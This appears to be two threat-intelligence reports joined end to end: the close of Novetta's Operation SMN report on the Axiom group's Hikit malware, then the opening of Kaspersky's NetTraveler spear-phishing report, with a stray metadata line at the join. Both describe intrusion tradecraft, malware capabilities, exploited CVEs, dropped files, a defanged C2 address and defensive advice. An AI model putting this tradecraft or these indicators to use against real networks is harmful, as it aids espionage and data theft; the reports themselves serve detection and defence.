Axiom typically moves quickly to escalate privileges on compromised machines via previously compromised administrative accounts, local exploits, or remote exploits as demonstrated in the ZoxRPC malware. This escalation of privileges is typically in an attempt to dump the latest credentials they can gain access to on the victim network. This information is quickly accessed, compressed, encrypted, and exfiltrated by the actors. The turnaround for the use of this information after collection can vary from minutes to months. The Axiom threat actor group has also demonstrated the operational flexibility of leveraging systems administration tools available within targeted organizations (e.g., Remote Desktop Protocol (RDP), remote administration tools). It has been observed several times that Axiom operators have even leveraged these capabilities as a means of maintaining additional persistence via setting sticky keys for RDP sessions. They also use custom tools containing network and local exploits, hacking utilities, and legitimate security tools for privilege escalation and lateral movement. By leveraging tools already available within a target organization Axiom, can forgo the need to potentially raise their profile by deploying additional malware that may trigger antivirus or IDS indicators. As a typical scenario when compromising an organization, this actor group will aim to orient themselves, move laterally, escalate privileges, dump 19 credentials, and install other families of malware to hedge against detection of any one variant of their malware. It has been observed in many of Axioms victim environments that the total number of malware families leveraged can exceed four separate layers of malware. These families of malware range in uniqueness from extremely common (Poison Ivy, Gh0st, ZXshell) to more focused tools used by Axiom and other threat groups directed by the same organization (Derusbi, Fexel) to tools only seen used by Axiom (ZoxPNG/ZoxRPC, Hikit). This is likely done to ensure a certain level of persistence and redundant command and control should one of the families ever become compromised. Additionally, once into later stages of their operations, Axiom operators will create and deploy shell utilities that are customized to the operational environment. Operators will also install data archival and compression tooling that may not already exist on the target machine. The flexibility and fluency of Axioms toolset, including the ability to produce custom tools, is yet another indicator of the technical and operational sophistication of this entity. In support of this flexible tooling capability, Axiom has demonstrated a relatively sophisticated use of large amounts of legitimate and compromised internet infrastructure. Axiom has been observed grooming and leveraging an array of compromised proxy infrastructure within the United States, South Korea, Taiwan, Hong Kong, and Japan. Novetta has observed indications in various datasets that this compromised infrastructure can be created per campaign or target, or can be shared within a cluster of related targets. It is surmised that this method is a means to create confusion for any investigation into activity related to an Axiom intrusion, by leveraging the capabilities of Axiom tools and interweaving legitimate traffic to the same IP address during the compromise. The net effect of this tactic is to create a set of network traffic that at first glance appears to be legitimate traffic. Beyond this generally stealthy technique for hiding malicious traffic, the ability to have access to a continual pool of compromised infrastructure in which to overlay their operations speaks to the ability of Axiom actors. They do not just comprise various Internet facing platforms, but also have the organizational ability to deal with the capture, grooming, and maintenance of a large set of compromised infrastructure while in parallel executing technical operations and creating new targeting information for pursuit. On top of Axioms usage of compromised infrastructure they also maintain supporting infrastructure accounts, such as dynamic DNS services, and VPS/hosting providers from a variety of United States and Chinese providers. This ability to leverage both compromised and legitimate infrastructure enables Axiom to adjust to a targets security posture and potentially extend their access to a targeted organization. Victim Life Cycle Based on observed victim environments infiltrated by Axiom, Novetta believes that there are at least six separate tiers of responsibilities that service different stages of the victim lifecycle. 20 Axiom, for its part, largely conducts operations in later stages of the overall victim compromise. Currently, we believe that the victim lifecycle is split into the following stages: Stage 0: Target identification and reconnaissance Stage 1: Initial access, validation and internal target reconnaissance Stage 2: Lateral movement, and creation of additional footholds Stage 3: Compromised infrastructure creation and grooming Stage 4: Stealthy identification and exfiltration of targeted data Stage 5: Maintain access and understanding of environment The level of sophistication seen by this multistage life cycle implies a number of things about the adversarys ability to command resources and coordinate within itself. It is this structure and coordination that truly sets Axiom and its associated groups apart from other actors in this space. Structure of Adversary We also assess that different groups associated with the Axiom threat actor group likely perform various phases. This deduction is supported by the number of differences in the observed activity during these compromise stages which suggest a number of separate teams with varying responsibilities during their operation lifecycle. For instance, examinations of differences in command and control (C2) and midpoint proxy infrastructure displayed by the Stage 1, Stage 2 and Stage 4 binaries have led us to believe that the operational tempo, security policies, and acceptable risk levels are drastically different. This coordination of different operators, infrastructure, and tools between stages in the same environment suggests a common operating picture within a large organization. It cannot be overstated that the operational timelines observed imply that Axiom and other stage operators operate with a cohesive long-term strategic goal. The ability of any organization to consider strategic objectives over a multi year period implies that organization both believes that their operations will have far reaching effects, and that the organization itself will exist for an extended time. Extended operations require meaningful resources, both in terms of financial capital (salaries), as well as physical resources (money for VPSs and traditional server infrastructure), as well as a logistic overhead for coordinating, planning, and researching attack vectors, creation/purchasing and distribution of 0-day exploit code and associated exploit frameworks34, and campaign coordination between subgroups. Finally, threat actors at all the described stages, including Axiom, display a clear level of discipline in using their compromised resources. There is no meaningful level of information leakage due to resource access, or due to visiting personal websites with these resources. While this level of discipline has been observed outside of governmental organizations and 34 http://www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks 21 funded operations, it displays a level of familiarity with investigative and forensics operations that clearly sets them apart from the less sophisticated threat actors. Command and Control (C2) Infrastructure The infrastructure practices of these linked groups often change depending on the current stage of operation as well as the intended target, ultimately culminating in Axiom operations. A good example would be the watering hole attacks observed targeting Japanese entities in 201335. Because broad-spectrum watering hole attacks are widely noticed and reported on, Stage 1 operators appear to have heavily segregated their infrastructure from the infrastructure used during later stages of operation in order to better evade detection. Operation SMN partners have a great deal of insight into the network characteristics and C2 of the Stage 2 tools and techniques (i.e., Derusbi, HyDraq, DeputyDog) which serve as secondary persistence and lateral movement tools. Here, unlike Stage 1, the tools frequently reuse infrastructure and other resources, and there is even some historical overlap between second level domains used by the Stage 2 actors and the Stage 4 operators (Axiom). iSIGHT Partners reporting has discussed the usage of domains in watering hole attacks that have been used to gain initial access to target networks for later stage persistence. Passive DNS analysis has demonstrated that the linkages between Stage 2 and Stage 4 C2 domains are indirect, but present, establishing a possible link between the stages. Unlike other threat actors, operators of all stages, particularly from Stage 3 onwards, take operational practices and security seriously. There was no observed activity outside of campaign activity on the identified operational infrastructure across 76 unique Stage 4 campaigns. For Stage 3 and 4 operations, Axiom is believed to have established a complex C2 infrastructure, which, based on campaign identifiers extracted from configuration files embedded in Hikit binaries, has been used to manage at least 76 unique campaigns that this operation has discovered. Operation SMN partners believe that many more organizations have been affected by Axiom, but are currently unaware of any compromise due to Axioms hyper targeting and stealth at this stage of activities. We hope that by highlighting some of Axioms techniques, tactics, and procedures we will increase the visibility of this group for awareness and detection. The curated infrastructure that appears to be used strongly suggests that the Axiom actors are given the capacity and mandate to target and develop long-term strategic assets. Within observed compromises, Axiom actors have been seen performing complex actions with their C2 infrastructure during the Stage 4 operational cycle. Configuration files extracted from Hikit binaries indicate that C2 callback locations are tailored to the specific country and network environment in which the target resides. C2 domains will consistently be named and hosted in such a way that traffic appears legitimate, likely in an effort to fool network security operators of target organizations. Axiom and its linked groups have been known to conduct extensive research prior to compromising a target in order to determine ideal hosting locations. To achieve 35 http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013- 3893-attack-against-japanese-targets.html 22 this, these threat actors often compromise secondary targets in order to obscure their C2 infrastructure and data exfiltration endpoints from their intended victims. Additionally, past attacks have displayed that these linked groups are capable and willing to construct supply-chain attacks to allow them access to hardened targets. These supply-chain attacks will extend to elements of the targets security supply chain. The observed tempo in these supply-chain attacks suggest that Axiom operators are capable of coordinating rapid responses to roadblocks in their goals, even when those roadblocks represen sophisticated security organizations, such as Bit9. Hikit Command and Control (C2) Configuration Axioms rather distinct network operations and TTPs for setting up C2 infrastructure separate them from other threat actors. In particular, Axioms midpoint centric C2 infrastructure has resulted in unique fingerprints. Each Hikit binary is configured for a specific target, often included in or referenced within the campaign indicator field of the respective configuration file. Hikit operators (Axiom) appear to use a significant amount of C2 infrastructure isolation between targets, with different targets rarely sharing identical C2 locations. This isolation provides a high degree of resiliency and operational security in the event that one operation becomes compromised, other operations are less likely to be interrupted or affected. It is important to note that prior to Hikit Generation 2, we have no direct evidence of any C2 infrastructure due to the nature of Hikit Generation 1s functioning. During the transition between the Generation 1 and Generation 2 codebases, Hikit development teams made the decision to include an embedded configuration file in the binary itself. The first evidence of Hikit samples containing this configuration information, with embedded C2 information, appears to have been initiated on April 12, 2012. During this time, two stages of Hikit binary creation were observed. During their initial stage of work (those binaries with compile dates prior to April 2012), Axiom appeared to use both traditional DNS hosting services and dynamic DNS services equally. While Axiom did not appear to have any obvious criteria for deciding which DNS provider would be used during this period, a preference for using DNSPOD (a Chinese-based DNS provider) and DtDNS (a US- based dynamic DNS service) was clear. The reasons for the selection of DtDNS are unknown at this time but, the selection of DNSPOD can be assumed to be due to the geographic location of the provider itself. The use of Dynamic DNS services is interesting, due to the confounding effect that it generally has on investigations. After 2012, however, we have observed a general avoidance of dynamic DNS services. Naming conventions of these Hikit domains is also notable due to the pattern that defines them. Under almost all conditions, the domains are expressed as a 3LD format, where the youngest child domain represents the intended campaign target. As an example, the domain format for AcmeInc would be acmeinc.basedomain.tld. This naming convention, as well as the usage of DNS providers, is exclusive to Stage 4 infrastructure. In fact, for all Stage 3 cases, no second level domain is directly used. Instead, whenever malicious activity is observed, it can only be 23 strongly correlated to the child domain (of the DNSPOD domains), while the second level domain remains relatively static and clean in Asian geographic locations. Historical examination of the base second level domains base, however, suggests that the second level domains were once used to launch attacks, similar to those domains seen in Stage 2 operations. As this activity was last observed in 2010, it is theorized that current operational strategies were then developed and adhered to. As noted above, most of the observed Hikit (Stage 4) campaigns rely on DNS services for C2 location and coordination. While the A records for the child domains of the mothership (second level domain) DNS names are typically located on compromised infrastructure as previously discussed, there are a few identifying characteristics which have been noted. Firstly, these domains have extremely short times of existence within the US. Secondly, they display long distance relationship behavior, wherein they have NS records in countries outside the location of the child domain. Heuristic detection for candidate C2 domains involves looking for domains that have had RDATA that exhibits travel between geographically disperse countries, and correlating that towards displayed naming and linguistic characteristics of the domain names. Hikit binaries have also been observed as members of complex internal routing structures for the purposes of stealthy data exfiltration as well as access and persistence to internal resources. This activity is rarely caught in practice, as many security teams neglect to perform flow analysis on internal-to-internal network traffic. At all points during Axiom Stage 4 infections, evidence suggests that there are humans directly orchestrating operations. Stage 1 and Stage 2 operations may have varying levels of human involvement. As a result, exhaustive lists of domain names and IPs used in C2 operations are somewhat useless blacklisting will be ineffective and present a large amount of collateral damage due to the use of compromised infrastructure. Interestingly, despite the general usefulness of large scale passive DNS analysis in most threat research, there are indications that many of the hits for Axiom C2 domains in this research exist because of independent security researchers or IT security teams conducting investigations. This activity, while reliable for observing network C2 behavior, does make operational end dates difficult to determine for Stage 3 and 4 campaigns. Remediation Currently, organizations that wish to protect themselves from the malware that Axiom has been observed using should download and utilize the latest MSRT release. This tool has been verified to provide protection against malware families that Axiom favors, and is freely available to all Microsoft installations. It is suggested that enterprise organizations push out and execute MSRT on a monthly basis. Additionally, all members of the Operation SMN group have up-to- date signatures and heuristics for detecting the Axiom malware families, as well as any vendors involved in Microsofts VIA program. 24 It is strongly advised that organizations seeking protection from Axiom avoid the temptation of solely deploying network based signatures. Because Axiom continually creates new C2 infrastructure for each new target and can quickly transition to new malware tooling, it is very unlikely that existing network IOCs will offer any meaningful level of protection for organizations whose infections are new or previously undiscovered. Network operators can and should learn from the Axiom groups tradecraft security teams and IT staff should be especially wary of any traffic going to destination servers that does not match the apparent intent of these servers. For example, large data transfers moving towards DNS nameservers on port 53 with no observable DNS content that are associated with known or related partners should be viewed as suspect. Hikits usage of internally routed proxy nodes can complicate this task, and only advanced network analytics that includes a holistic view of internal and external network traffic can provide anything near 100 certainty. Network boundaries of all types should be monitored. If an internal network can route from restricted zones to ones of lower restriction, it should be monitored for data exfiltration in the same manner as a traditional border network. Above all there is absolutely no substitute for continued vigilance -- by the time Hikit is installed on a victims infrastructure, the operation is in its final stages, and the attackers generally have free reign over the victim network. Enterprises are advised that while Axiom represents an advanced attacker, their power comes from their discipline and logistics. Ultimately, the removal of common low hanging fruit in network and endpoint security will go far to prevent Axiom from easily accessing networks. Additional suggestions for protection against Axioms attacks would be: Block or sinkhole the DNSPOD name servers. DNSPOD seems to be the preferred provider for DNS services for Axiom, and many organizations can block these resources without adverse effect on business needs. Install and execute Microsofts EMET on endpoint machines, and configure it to your environment. Globally edit Windows policies to disable the Sticky Keys functionality. Restrict all remote access (RDP, SSH, Citrix, VPN, etc.) and ensure that this access is only given to people that need it versus by default for the whole company wherever possible, implement two-factor authentication for any remote access. Keep strong monitoring on VPN endpoints -- Axiom has demonstrated the ability to enter networks after compromising VPN client user credentials. Two-factor protection to webmail services should be added where possible. Ensure that local administrative accounts are not universal across your network, as a single compromise can bring the security of the entire network into question. Ensure that local firewalls are configured and restrict access to both servers and workstations to only those subnets and users that require it. Implement application whitelisting to prevent execution of unauthorized executables -- Microsoft AppLocker, Bit9, and other third party solutions are all improvements over default installations without whitelisting. Encrypt e-mail where possible, even between internal users. 25 Ensure antivirus software is reporting to a central, monitored location. Axioms binaries can flag AntiVirus rules that end up ignored, a security failing that they rely on. Ensure proper auditing and review of security firewall rules, antivirus updates, IDS signatures, and other security controls. Axiom actors during active compromises have been observed to disable key signatures or rules to force victim organizations to lose visibility. Apply security patches in a timely manner. While Axiom does make use of 0-day vulnerabilities, the group has also used disclosed, patched vulnerabilities that are found on outdated systems in a targets network. Reference information provided by the FBI in their FLASH report - additional remediation information and suggestions are included36. 36 http://www.slideshare.net/ragebeast/infragard-hikitflash 26 Kudos Operation SMN and the subsequent actions taken by the group members could not have occurred without the generosity and talent of several organizations. While the publicly acknowledged members of the group made critical contributions there are other firms that were critical to the findings contained in this report. Their datasets, services, and software allowed coalition members to construct a substantially stronger case than would have been otherwise possible. Farsight Security generously provided Novetta with unrestricted access to their historical passive DNS dataset, allowing analysts to investigate the C2 infrastructure used by Axiom over a wide window of time. Endgame provided Novetta with extensive proprietary threat data and analytical processing capabilities allowing Novetta to gain a deeper insight into compromised network footprints. Novetta would also like to thank those organizations and individuals who quietly contributed to the content covered in this report. 27 Appendix A: Malware Key Findings In the case of Axiom, the actors will utilize an array of capabilities, some more unique than others, for various phases of their exploitation operations. The following capabilities are general a general list of the backdoors leveraged by this threat. Poison Ivy Gh0st Rat PlugX ZXShell Hydraq/9002 RAT DeputyDog / Fexel Derusbi Hikit ZoxFamily (ZoxPNG, ZoxSMB, etc) Hikit Generation 1 Capability Features: File management: upload and download Remote shell Network tunneling (proxying) Ad-hoc network generation (connecting multiple Hikit infected machines to create a secondary network on top of the victims network topology) No config stored in sample, no command line parameter passing of C2 (listens for magic bytes) Interesting Facts: Relies on a NDIS (network) driver to communicate between the network and the malware The infected machine acts as the server while the controlling machine is the client , therefore at least one Hikit infection must be on an internet facing machine Contains no configuration information at all The NDIS (network) driver is a mixture of several open source pieces of code, most notably the passthru NDIS driver example from a 2003 blog37. The client authenticates to the server at the NDIS driver layer by providing a specific set of strings that mimic HTTP requests Authors routinely forgot to remove the PDB strings revealing at least two compile machines Earliest known variants from early 2011 37 http://www.wd-3.com/archive/extendingpassthru2.htm 28 Hikit Generation 2 Capability Features: File management: upload and download Remote shell Network tunneling (proxying) Ad-hoc network generation (connecting multiple hikit infected machines to create a secondary network on top of the victims network topology) Interesting Facts: Comes in 64-bit and 32-bit versions depending on the targets infrastructure 32-bit versions use a rootkit driver to hit the malware process, network endpoints, registry keys and files. The rootkit is based heavily on the Agony rootkit which is open source Unlike Gen1, the malware acts as a client to the C2s server. Uses the same XOR encryption scheme as Gen 1 Developmental overlap found between Gen 1 and Gen 2 (new Gen1 sample found during the Gen 2 time span) Has at least 5 known sub-generations with the Gen 2 lineage Spanning from late 2011 to 2013 Zox Family Capability Features: Basic file management: upload, download, create directory, list Write files, delete files, move files Enumeration of attached drives Process management: list processes, kill process by PID Ability to run arbitrary code from C2 Remote shell Some samples appear to have exploit/spreading capabilities Interesting Facts: Evidence suggests that Zox has variants dating back to at least 2008, and may have multiple generations, and may have evolved from a simple spreader into something a bit more RAT like. Uses PNG file format as the carrier format for data to and from the C2 The sample from 2008 uses SMB to communicate indicating it was originally a local exploitation tool instead of a remote tool Does not contain any C2 information as the attacker must provide the information at runtime via the command line 29 Evidence in Zox family of tools suggests a focus on China, Taiwan, US/UK, Korean language sets for exploits offsets leveraged in spreading functionality. Was observed being leveraged by attackers via base64 encoded cab file that was then installed via a login script for a specific user. Very few samples have been found compared to all the other malware families the effort is tackling. Derusbi (Server Variant) Capability Features: File management: upload, download, create directory, list files, enumerate entire folder trees, move files, delete files, rename files, get file attributes, mimic timestamps of other files (e.g. copying the timestamp of kernel32.dll to another file to allow for blending in) Derusbi may have a windows GUI component for the operator (based on file system behavior, and patterns of use). Remote shell Basic (limited) network proxying Interesting Facts: Uses a 64-byte handshake of seemingly random data with four bytes specifically configured to act as the handshake The infected machine acts as the server while the controlling machine (the attackers machine) is a client (the reverse of typical malware communication) Does not contain any configuration information related to the attackers IP, only contains the campaign code Appears to be able to co-exist with other running services on the same port [unconfirmed, but speculated based on network capture evidence] 30 Appendix C: Signatures Yara Signature Links: Signatures from Novetta and ThreatConnect can be directly downloaded from the following sources: http://www.novetta.com/operationsmn IDS Signatures As detailed here38, Cisco, as a member of the overall coalition has released IDS signatures for their products. Similar signatures that cover the tools used by axiom can be obtained via the EmergingThreats open signature set below39. Novetta is working with both partners to insure that the signatures they have provide the best coverage possible. Appendix D: Malware Names Index Operation SMN Name Other Industry Names Hydraq McRat, HydraQ/HidraQ, Naid, Homux, HomeUnix, MdmBot, Roarur Gh0st Moudoor, Mydoor PlugX Korplug, Sogu, Kaba, DestroyRat, TVT, Thoper Poison Ivy Breut, Darkmoon Derusbi Photos, Etso, Ocrums, win32.Agent.dbwr Hikit Hikiti Fexel DeputyDog ZoxPNG gresim ZoxRPC 38 http://blogs.cisco.com/security/talos/threat-spotlight-group-72/ 39 http://emergingthreats.net/products/etpro-ruleset/daily-ruleset-update-summary/ 31 Appendix E: Malware Hashes To the best of our abilities, Novetta has filtered some of the sample hashes collected from the below sample hashes. This has been due to the highly targeted nature of some of the malware samples Operation SMN has collected. The defensive value of knowing those samples or the hashes for organizations other than the targeted is nil given the technical information produced and shared by this effort. The below hashes are for sample families that leverage shared generic infrastructure between multiple compromised infrastructure or contain no configuration information in the binary. Links: http://www.novetta.com/operationsmn The NeTTraveler (aka TravNeT) Author GlobAl reseArch And AnAlysis teAm 2 The NeTTraveler Part 1 (Public): executive summary Attack analysis cc infrastructure statistics mitigation conclusions Part 2 (contact us for more information: intelrePortskasPersky.com): Victim analysis and profiles command and control (cc) infrastructure and operation Attribution information The NeTTraveler 3 1. execuTive Summary 1. executiVe summAry this report describes multiple cyber-espionage campaigns that have successfully compro- mised more than 350 high profile victims in 40 countries. the focus of the paper is to describe nettraveler, which is the main tool used by the threat actors during these attacks. the name nettraveler comes from an internal string which is present in early versions of the malware: nettraveler is running. this mal- ware is used by APt actors for basic surveillance of their victims. earliest known samples have a timestamp of 2005, although references exist indicating activity as early as 2004. the largest number of samples we observed were created between 2010 and 2013. Known targets of nettraveler (also known as travnet or netfile) include tibetan/uyghur activists, oil industry companies, scientific re- search centers and institutes, universities, private companies, governments and govern- mental institutions, embassies and military con- tractors. the nettraveler backdoor is often used together with other malware families. during the anal- ysis of one of the command and control (cc) servers, we observed how the attackers de- ployed different backdoors to the victims ma- chines. these include the malware known as saker also known as xbox (known filenames: update.exe, updata.exe or xbox.exe) and Pcrat / Zegost. this report includes a full description of the saker/xbox backdoor as well. the attacks use spear-phishing e-mails with malicious microsoft office documents as attach- ments. Gathered data includes file system list- ings, keylogs, various types of documents (.doc, .xls, .ppt, .pdf, etc...) and other private informa- tion. We have calculated the amount of stolen data stored on cc servers to be 22 gigabytes. however this data represents only a small frac- tion which we managed to see - the rest of the it had been previously downloaded and deleted from the cc servers by the attackers. 4 The NeTTraveler nettraveler victims get infected through spear-phishing attacks using office documents which exploit two publicly known vulnerabilities -- cVe-2012-0158 and cVe-2010-3333. Although these vulnerabilities have been patched by microsoft, they remain effective and are among the most exploited in targeted attacks. during our analysis, we did not see any advanced use of zero-day vulnerabilities or other malware techniques such as rootkits. it is therefore surprising to observe that such un- sophisticated attacks can still be successful with high profile targets. 2.1 Point of entry: sPear-Phishing examPles We are listing below several nettraveler spear-phishing examples observed during the course of this investigation mD5 29a420e52b56bfadf9f0701318524bef create date (GmT) 2011-04-27 10:10:00 Size 274,291 vulnerability Targeted cVe-2010-3333 2. aTTack aNalySiS this spear-phish targeted cVe-2010-3333, a very popular vulnerability exploited in many attacks. the development of this version of the exploit delivers a large, easily identified 0x4141 noP sled prior to its shellcode, shed- ding some light on the immaturity of the devel- opment behind the effort. more interesting is that the target in india received this file titled Army cyber security Policy 2013.doc, and the accompanying benign and empty decoy Word document is dropped to the temp folder and opened with Word as Jallianwala bagh massacre a deeply shameful act.doc (md5: e617348b8947f28e2a280dd93c75a6ad). 5 2.
259
AttAcK AnAlysis kaspersky lab verdict: exploit.mSWord.
53,485
53,869
385
data/reports_final/0259.txt
AttAcK AnAlysis kaspersky lab verdict: exploit.mSWord. cve-2010-3333.cl the exploit drops temp\netmgr.dll temp\netmgr.exe temp\perf2012.ini temp\sysinfo2012.dll temp\winlogin.exe the malware command and control server script is at hxxp://www.faceboak.net/2012nt/ nettraveler.asp. mD5 b600089a93275fa935 58695b707b87ad create date (GmT) 2011-04-27 10:10:00 Size 274,291 vulnerability Targeted cVe-2010-3333 Filename: invitation.doc decoy filename: mailnew.doc (empty) kaspersky lab verdict: exploit.mSWord. cve-2010-3333.cl drops: temp\netmgr.dll temp\netmgr.exe temp\perf2012.ini temp\enumfs.ini temp\dnlist.ini temp\sysinfo2012.dll temp\winlogin.exe mD5 6eb5932b0ed20f11f1a 887bcfbdde10f create date (GmT) 2011-04-27 10:10:00 Size 274,291 vulnerability Targeted cVe-2010-3333 Filename: report - Asia defense spending boom.doc decoy filename: report--Asia defense spend- ing boom.doc (empty) (md5: e617348b- 8947f28e2a280dd93c75a6ad) kaspersky lab verdict: exploit.mSWord. cve-2010-3333.cl drops: windir\system\config_t.dat windir\system32\enumfs.ini windir\system32\dnlist.ini windir\system32\iasex.dll windir\system32\system_t.dll 6 The NeTTraveler mD5 917e36946c67414a988f6 878d9d0cdfe create date (GmT) 2011-04-27 10:10:00 Size 252,275 vulnerability Targeted cVe-2010-3333 e-mail spear-phishing sample entitled his holi- ness the dalai lamas visit to switzerland day 4. Attachment filename: his holiness the dalai lamas visit to switzerland day 3.doc decoy filename: his holiness the dalai lamas visit to switzerland day 3.doc kaspersky lab verdicts: exploit.mSWord. cve-2010-3333.ci multiple decoy images depicting a large tibetan audience, and the dalai lama speaking drops: Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini Appdata\Adobe\sysinfo2012.dll Appdata\Adobe\enumfs.ini temp\winlogin.exe 7 2. AttAcK AnAlysis mD5 36ed86602661bb3a7a5 5e69fde90ee73 create date (GmT) 2011-04-27 10:10:00 Size 252,275 vulnerability Targeted cVe-2010-3333 Filename: bJP wont dump modi for nitish ndA headed for split.doc decoy filename: bJP wont dump modi for nitish ndA headed for split.doc kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops: Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini Appdata\Adobe\sysinfo2012.dll Appdata\Adobe\enumfs.ini temp\winlogin.exe decoy document with text related to politics in india. 8 The NeTTraveler mD5 63494c74db9bfc2bba 3983698c952de9 create date (GmT) 2011-04-27 10:10:00 Size 234,355 vulnerability Targeted cVe-2010-3333 Filename: Fax13-0417.doc decoy filename: Fax13-0417.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini Appdata\Adobe\sysinfo2012.dll Appdata\Adobe\enumfs.ini temp\winlogin.exe mD5 151e5d1bb8142835633 cfd398e2e0ca3 create date (GmT) 2011-04-27 10:10:00 Size 225,139 vulnerability Targeted cVe-2010-3333 Filename: the Prayer.doc decoy filename: Freedom of speech.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\ie.log Appdata\Adobe\perf2012.ini temp\winlogin.exe mD5 059a7482efee3b2abf67c 12d210cb2f7 create date (GmT) 2011-04-27 10:10:00 Size 225,139 vulnerability Targeted cVe-2010-3333 Filename: Activity details.doc decoy filename: Activity details.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops: Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\perf2012.ini temp\winlogin.exe files. mD5 f4f14d4a1e34f62eeb9 a90b5c8b2cfc1 create date (GmT) 2011-04-27 10:10:00 Size 225,139 vulnerability Targeted cVe-2010-3333 Filename: 23948-report.doc decoy filename: report.doc (empty) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops Appdata\Adobe\netmgr.dll Appdata\Adobe\netmgr.exe Appdata\Adobe\enumfs.ini Appdata\Adobe\perf2012.ini temp\winlogin.exe 9 2. AttAcK AnAlysis mD5 e5954b8204eb321d 20bed4a86b3cef34 create date (GmT) Size 414,703 vulnerability Targeted cVe-2010-3333 Filename: Alban tushaal Jagsaalt.doc decoy filename: document.doc (mongolian text) kaspersky lab verdict: exploit.mSWord.cve- 2010-3333.ci drops temp\smcs.exe windir\system\config_t.dat windir\system32\6to4ex.dll windir\system32\svchost.log mD5 0e2b10015fe52b7ea77 a213f0c330557 create date (GmT) 2012-06-29 08:31:45 Size 222,208 vulnerability Targeted cVe-2012-0158 Filename: data.xls (empty decoy) kaspersky lab verdict: exploit. Win32.cve- 2012-0158.y drops: temp\enumfs.ini temp\sysinfo2012.dll temp\dnlist.ini temp\netmgr.dll temp\perf2012.ini temp\netmgr.exe decoy document with mongolian writing 10 The NeTTraveler by default, nettraveler exfiltrates common file types such as doc, xls, PPt, rtF and PdF. For a full list, see the detailed backdoor analysis below. the backdoor configuration can however be extended with special options to steal other file types. heres one such extended configura- tion recovered from an attack against a victim working in the oil industry: it is clear that the attackers are also collecting files of type .cdr (corel draw designs), .dwg, .dxf, .cdw, .dwf (AutocAd projects) and some configuration files .cfn and .cfg. the various parameters of the malware are con- figured with a builder, which allows the attackers to change things such as the list of stolen files extensions, c2 address and so on: 2.3 installed malware, functionality, Persistence nettraveler is an automatic data exfiltration tool, designed to extract large amounts of private information from the victims system over long periods of time. the malware uses compression techniques and a fail-safe protocol to ensure that uploaded data is safely transferred to the attackers c2s. 11 2. AttAcK AnAlysis 2.4 exfiltrated data exfiltrated data is encoded with a custom compression and encoding library, which pro- duces files which resemble bAse64. the data is transferred to the command and control servers via httP requests such as: nettraveler configuration Gui 12 The NeTTraveler 2.5 overlaP with red october note: for our analysis of the red october cam- paign, see: https://www.securelist.com/en/ blog/785/the_red_october_campaign_An_ Advanced_cyber_espionage_network_target- ing_diplomatic_and_Government_Agencies during our analysis of nettraveler infections, we identified several victims that were infected both by nettraveler and red october. Although we see no direct links between the nettraveler attackers and the red october threat actor, the existence of victims infected by both of these campaigns is interesting. these victims are: A military contractor in russia An embassy in iran An embassy in belgium An embassy in Kazakhstan An embassy in belarus A Government entity in tajikistan these infections indicate that certain high profile victims are targeted by multiple threat actors the target information is a valuable commodity. 2.6 connections with other camPaigns to better identify core nettraveler actors and delineate the groups from one another, we collect and categorize various tactics, tech- niques, and Procedures (ttPs) employed by these adversaries throughout their operations. the attackers iP operation ranges, overlaps with that of a malware family known as Ze- gost. For instance, one of the command and control servers that is part of the infrastruc- ture, is a well-known c2 for multiple Zegost variants, still active as of may 2013. the tar- gets and command and control domain naming scheme indicates a connection between the lurid/enfal attackers and nettraveler. some of the nettraveler c2s are used to distribute a malware known as saker or xbox, which is delivered as an update to the nettraveler victims. note: more details about the connections between nettraveler and other campaigns is available in our private report. contact us at intelreportskaspersky.com for more details. 13 3. commAnd And control serVers And inFrAstructure the command and control servers generally run iis 6/7, as the c2 backend is an AsP (microsoft Active server Pages) script. to transfer stolen data from the command and control servers, the attackers use FtP on top of VPn connections through a server in the us hosted by Krypt technologies. the infrastructure is secured by allowing FtP access only to remote users coming from predefined iPs, including the VPn provider in the us. during our investigation, we analyzed several hundred nettraveler samples and configuration files, which use more than 30 different cc serv- ers. the list below includes the script names that we have seen on these servers and confirmed as malicious: aasogspread.asp, adfsdfclnggsldfc.asp, advertisingservicesa3sb.asp, aneywsf. asp, apple.asp, applebag0 05.asp, azarweforrell.asp, azofjeljgo648rl.asp, certify.asp, dochunter.asp, dochunter1.asp, dochunteradfaefaer.asp, fish.asp, happy. asp, heritage.asp, huyuio67.asp, little.asp, madmaswhbe.asp, nethttpfile.asp, netpass. asp, nettraveler.asp, orphaned.asp, rice.asp, sabcfsf.asp, shenghai.asp, time.asp, update. asp, weathobloe.asp, yegnfvhemc.asp All the known command and control servers per- form the same basic functions - for a description of the supported functionality, see below. 3. commaND aND coNTrol ServerS aND iNfraSTrucTure during our monitoring period, we observed more than 100 command and control urls, pointing to multiple servers in the united states, china and hong Kong. 14 The NeTTraveler 15 3. commAnd And control serVers And inFrAstructure 3.1 descriPtion of c2 scriPt functionality the main function of command and control servers is to collect stolen data from the victims. stolen data is stored in the exact format it was sent from the victims Pc, without any additional encoding or obfuscation. heres a listing of how a folder storing stolen victim data could look on the cc server: the uploaded data can be either a document file, a keylogger backlog or a system infor- mation profile. heres how a decoded system information profile looks like: 16 The NeTTraveler the system profile includes an iPconFiG output as well as a list of user accounts in the machine. if the malware install includes the netPass module, a keylogger will silently collect all typed data, together with window names. this produces logs like the following (in decoded format): system profile, filename is of the form dlltravlerbackinfo-[date/time].bak sample decrypted log from the keylogging module 17 3. commAnd And control serVers And inFrAstructure command action) Purpose script generation getdata read list of commands from the configuration file (eg. nettraveler. txt) and send it to the victim. commands can be uninstAll, reset, uPdAte, uPloAd. For a description of these com- mands see the technical appendix. nettraveler.asp updated report to the c2 a successful exfiltration of victims data. nettraveler.asp getemail read a template file (eg. email.eml) and send to victim nettraveler.asp gotemail delete template from c2 (email.eml) nettraveler.asp datasize report filesize of additional 